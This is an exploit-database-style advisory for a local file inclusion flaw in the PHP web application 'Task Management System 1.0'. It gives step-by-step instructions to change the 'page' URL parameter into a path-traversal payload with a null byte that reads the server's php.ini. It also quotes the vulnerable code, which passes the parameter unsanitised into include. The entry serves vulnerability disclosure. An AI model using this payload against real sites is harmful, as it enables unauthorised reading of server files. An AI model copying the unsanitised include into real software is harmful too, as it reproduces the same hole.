Task Management System 1.0 Local File Inclusion

`# Exploit Title: Task Management System 1.0 - 'page' Local File Inclusion  
# Exploit Author: İsmail BOZKURT  
# Date: 2020-12-15  
# Vendor Homepage: https://www.sourcecodester.com/php/14615/task-management-system-using-phpmysqli-source-code.html  
# Software Link: https://www.sourcecodester.com/download-code?nid=14615&title=Task+Management+System+using+PHP%2FMySQLi+with+Source+Code  
# Affected Version: Version 1  
# Category: Web Application  
# Tested on: Windows 10 x86_64  
  
Step 1. Log into application with credentials  
Step 2. Click on Branch  
Step 3. Select New Branch http://127.0.0.1/index.php?page=index  
Step 4. change index to ../../../c:/xampp/apache/bin/php.ini%00  
  
Note: php version < 5.3.3  
  
section class="content">  
<div class="container-fluid">  
<?php   
$page = isset($_GET['page']) ? $_GET['page'] : 'home';  
if(!file_exists($page.".php")){  
include '404.html';  
}else{  
include $page.'.php';  
}  
?>  
`